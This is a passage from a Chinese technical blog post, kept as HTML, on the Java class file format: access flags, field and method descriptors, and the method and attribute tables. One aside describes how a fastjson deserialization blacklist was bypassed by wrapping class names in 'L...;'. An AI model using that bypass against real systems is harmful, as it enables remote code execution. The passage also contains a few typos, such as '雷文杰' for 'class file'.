1em;" width="105">ACC_PUBLIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0001</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">public类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_PRIVATE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0002</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">private 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_PROTECTED</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0004</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">protected 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_STATIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0008</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">static 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_FINAL</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0010</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">final类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_VOLATILE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0040</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">volatile 类型，用于解决内存可见性问题</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_TRANSIENT</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x0080</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">transient 类型，被其修饰的字段默认不会序列化</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_SYNTHETIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x1000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">该类由编译器自动生成，不由用户代码生成</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="105">ACC_ENUM</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="150">0x4000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="220">枚举类型</td></tr></tbody></table><p style="margin: 0px 0px 1.2em !important;">比如在类中定义了字段</p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;"><span style="color: rgb(51, 51, 51);font-weight: bold;">public</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">static</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">final</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">int</span> DEFAULT_SIZE = <span style="color: rgb(0, 128, 128);">128</span></code></pre><p style="margin: 0px 0px 1.2em !important;">编译后 <strong>DEFAULT_SIZE</strong> 字段在雷文杰中存储的访问标记值为 <strong>0x0019</strong></p><p style="margin: 0px 0px 1.2em !important;">这个值是由 <strong>ACC_PUBLIC | ACC_STATIC | ACC_FINAL</strong> 组成，表明其是一个 public static final 类型的变量。</p><p style="margin: 0px 0px 1.2em !important;">一个字段在内存中默认如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.04296875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=8e735d88&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIphdgjz3o4TCbTRBo0w2WUp9y60z92NohtRY8GP6rLPP6LzibStibsPUA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">则  public static final 类型为：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.040625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6258f658&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIzUKHkTSN4T3o4HoHYnKkXIelkExCGZmenkc5CHbR2srfdFtlDgvtibw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">所以 二进制的 <strong>0001 1001</strong> 转换为 十六进制为 <strong>0x0019</strong> ，也正是该标记值的由来</p><p style="margin: 0px 0px 1.2em !important;">和类访问标记一样，字段的标记也不是随意组合的，比如 <strong>ACC_FINAL</strong> 和 <strong>ACC_VOLATILE</strong> 不可以同时设置</p><p style="margin: 0px 0px 1.2em !important;">第三部分的字段描述符也值得具体学习一下。</p><p style="margin: 0px 0px 1.2em !important;">字段描述符用来表示某个字段的类型，在 JVM 中定义一个 int 类型的字段时，类文件中储存的类型不是字符串 int，而是更精简的字母 I，因此根据字段类型的不同，字段描述符分为三大类：</p><ul style="margin: 1.2em 0px;padding-left: 2em;" class="list-paddingleft-2"><li style="margin: 0.5em 0px;"><p>原始类型：byte、int、char、float 等这些类型使用一个字符来表示，比如 J 对应的long 类型，B 对应的是 byte 类型（如果对序列化熟悉的朋友，一定知道这里其实和序列化中的基础类型字段是相同的）</p></li><li style="margin: 0.5em 0px;"><p>引用类型使用 <strong>L;</strong> 的方式来表示，为了防止多个连续的引用类型描述符出现混淆，引用类型描述符最后都加了一个 <strong>;</strong> 作为结束，比如字符串类型 String 的描述符为 <strong>Ljava/lang/String;</strong></p></li><li style="margin: 0.5em 0px;"><p>JVM 使用一个前置的 <strong>[</strong> 来表示数组类型，如 <strong>int[]</strong> 类型的描述符为 <strong>[I</strong> ，字符串数组 String[]的描述符为  <strong>[Ljava/lang/String;</strong>，而多为数组描述符知识多加了几个 <strong>[</strong> 而已，比如 <strong>Object[][][]</strong> 类型的描述符为 <strong>[[[Ljava/lang/Object;</strong>（这里是不是感到很熟悉，是的，我们曾经在 fastjson 1.2.25-1.2.41版本的利用的就是在类加上L开头;结尾，来达到绕过所有黑名单的目的）</p></li></ul><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">7、方法表（method）</h4><p style="margin: 0px 0px 1.2em !important;">方法表的作用和字段表很类似，类中定义的方法会被存储在这里。方法表也是一个变长结构，如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">methods_count;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">method_info</span>    <span class="code-snippet__string">methods[methods_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">methods_count 表示方法的数量，methods 表示方法的集合，共有methods_count个，每一个方法用method_info结构表示</p><p style="margin: 0px 0px 1.2em !important;">method_info 的结构如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">access_flags;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">name_index;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">descriptor_index;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">attributes_count;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">attribute_info</span>  <span class="code-snippet__string">attributes[attributes_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">method_info 的结构分为四个部分：第一部分 access_flags 表方法的访问标记、name_index表示方法名、</p><p style="margin: 0px 0px 1.2em !important;">descriptor_index 表示方法描述符的索引值、attributes_count表示方法相关属性的个数、attribute_info表示相关属性的集合，结构示意图如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.03984375" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f8a51539&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIQUibw2sicJq1kcV9VKyUaj5EWud0x8IV7Z55ReRrbmoPMIVTuT03sj7w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">方法的访问标记比类和字段的访问标记类型更丰富，一共有 12 种，如下表：</p><table style="margin: 1.2em 0px;padding: 0px;border-collapse: collapse;border-spacing: 0px;font: inherit;border-width: 0px;border-style: initial;border-color: initial;"><thead><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="130">标志名</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="67">标志值</th><th style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;font-weight: bold;background-color: rgb(240, 240, 240);" width="212">标志含义</th></tr></thead><tbody style="margin: 0px;padding: 0px;border-width: 0px;border-style: initial;border-color: initial;"><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_PUBLIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="70">0x0001</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="226">public类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_PRIVATE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="72">0x0002</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="240">private 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_PROTECTED</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="73">0x0004</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="254">protected 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_STATIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0008</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="268">static 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_FINAL</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0010</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="282">final类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_SYNCHRONIZED</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0020</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="296">synchronize 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_BRIDGE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0040</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="308">bridge 方法，由编译器生成</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_VARARGS</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0080</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="309">方法包含可变长度参数，比如 String… args</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_NATIVE</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0100</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="309">native 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_ABSTRACT</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0400</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="309">abstract 类型</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_STRICT</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x0800</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="309">strictfp 类型，表示使用 IEEE-754 规范的精确浮点数，极少使用</td></tr><tr style="border-width: 1px 0px 0px;border-right-style: initial;border-bottom-style: initial;border-left-style: initial;border-right-color: initial;border-bottom-color: initial;border-left-color: initial;border-top-style: solid;border-top-color: rgb(204, 204, 204);margin: 0px;padding: 0px;background-color: rgb(248, 248, 248);"><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="99">ACC_SYNTHETIC</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="74">0x1000</td><td style="font-size: 1em;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);margin: 0px;padding: 0.5em 1em;" width="309">表示这个方法由编译器自动生成，非用户代码编译生成</td></tr></tbody></table><p style="margin: 0px 0px 1.2em !important;">比如一个方法如下所示 ：</p><pre style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;font-size: 1em;line-height: 1.2em;margin: 1.2em 0px;"><code style="white-space:pre-wrap;font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;overflow: auto;border-radius: 3px;border-width: 1px;border-style: solid;border-color: rgb(204, 204, 204);padding: 0.5em;color: rgb(51, 51, 51);background: rgb(248, 248, 248);text-size-adjust: none;display: block !important;"><span style="color: rgb(51, 51, 51);font-weight: bold;">private</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">static</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">synchronized</span> <span style="color: rgb(51, 51, 51);font-weight: bold;">void</span> <span style="color: rgb(153, 0, 0);font-weight: bold;">foo</span>(){}</code></pre><p style="margin: 0px 0px 1.2em !important;">在生成的类文件中，foo 方法的访问标记值为 <strong>0x002a</strong></p><p style="margin: 0px 0px 1.2em !important;">这个值是由 <strong>ACC_PRIVATE | ACC_STATIC | ACC_SYNCHRONIZED</strong> 组成，表明这是一个 private static synchronized方法</p><p style="margin: 0px 0px 1.2em !important;">一个方法在内存中默认如下：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.0390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=d6079693&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIhED9ej4UjBEGlWKcbwWdfdw7YbIcQOMV15TzbKQrtDMiagnjSxCjfDw%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">则  private static synchronized方法为：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.03828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=50a1be9c&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHIviaZFR1pFsia9Zpl690muGN2IKiavMfDSibEIrYnxmNm1E63LnYkIHrKww%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin: 0px 0px 1.2em !important;"><br/></p><p style="margin: 0px 0px 1.2em !important;">所以 二进制的 <strong>0010 1010</strong> 转换为 十六进制为 <strong>0x002a</strong> ，也正是该标记值的由来</p><p style="margin: 0px 0px 1.2em !important;">同前面的字段访问标记一样，不是所有的方法访问标记都可以随意组合设置</p><p style="margin: 0px 0px 1.2em !important;">最后提一点的是方法描述符，在前面学了字段描述符，方法描述符其实和字段描述符还是很像的，其格式如下：</p><p style="margin: 0px 0px 1.2em !important;"><code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">(参数1类型 参数2类型 参数3类型 ... )返回值类型</code></p><p style="margin: 0px 0px 1.2em !important;">比如方法<code style="font-size: 0.85em;font-family: Consolas, Inconsolata, Courier, monospace;margin: 0px 0.15em;padding: 0px 0.3em;white-space: pre-wrap;border-width: 1px;border-style: solid;border-color: rgb(234, 234, 234);background-color: rgb(248, 248, 248);border-radius: 3px;display: inline;">Object foo(int i,double d, Thread t)</code>的描述符为 <strong>(IDLjava/lang/Thread;)Ljava/lang/Object;</strong> 其中，<strong>I</strong> 表示第一个参数 i 的参数类型 int ，<strong>D</strong> 表示第二个参数 d 的类型 double，<strong>Ljava/java/Thread;</strong> 表示第三个参数 t 的类型 Tread，<strong>Ljava/lang/Object;</strong> 表示返回值类型为 Object ，如下图所示：</p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.0703125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=33c42f61&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpb42rNVXy4fKlZN56tPJHISv26Y7ntlO8owyBmZPRnoh4T7Y1nbmQ0hLIjPwVh1KXl1EmqPRc5ibQ%2F640%3Fwx_fmt%3Dpng"/></p><h4 style="margin: 1.3em 0px 1em;padding: 0px;font-weight: bold;font-size: 1.2em;">8、属性表（attribute）</h4><p style="margin: 0px 0px 1.2em !important;">属性表是 class 文件的最后一部分内容，属性出现的地方比较广泛，除了字段和方法中，在顶层的 class 文件中也会出现。属性表的类型很灵活，不同的虚拟机实现厂商可以自定义属性，属性表的结构如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">attributes_count;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">attribute_info</span> <span class="code-snippet__string">attributes[attributes_count];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">和其他结构类似，属性表使用两个直接来表示属性的个数 attributes_count，接下来是若干个属性项的集合，可以看做是一个数组，数组的每一项都是一个属性项 attribute_info，数组的大小为attributes_count，attribute_info结构如下：</p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="properties"><code><span class="code-snippet_outer"><span class="code-snippet__attr">{</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u2</span>    <span class="code-snippet__string">attribute_name_index;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u4</span>    <span class="code-snippet__string">attribute_length;</span></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__attr">u1</span>     <span class="code-snippet__string">info[attribute_length];</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__attr">}</span></span></code></pre></section><p style="margin: 0px 0px 1.2em !important;">attribute_name_index 是指向常量池的索引，根据这个索引可以找到 attribute 的名字，接下来的两部分表示 info 数组的长度和具体 byte 数组的内容。</p><p style="margin: 0px 0px 1.2em !important;">虚拟机里预定义了 20 多种属性，书里介绍了两种属性—— ConstantValue 属性以及 Code 属性。</p><p style="margin: 0px 0px 1.2em !important;">对于 ConstantValue 属性，书上给出的介绍是其出现在字段 field_info 中，用来表示静态变量的初始值</p><p style="margin: 0px 0px 1.2em !important;">对于 Code 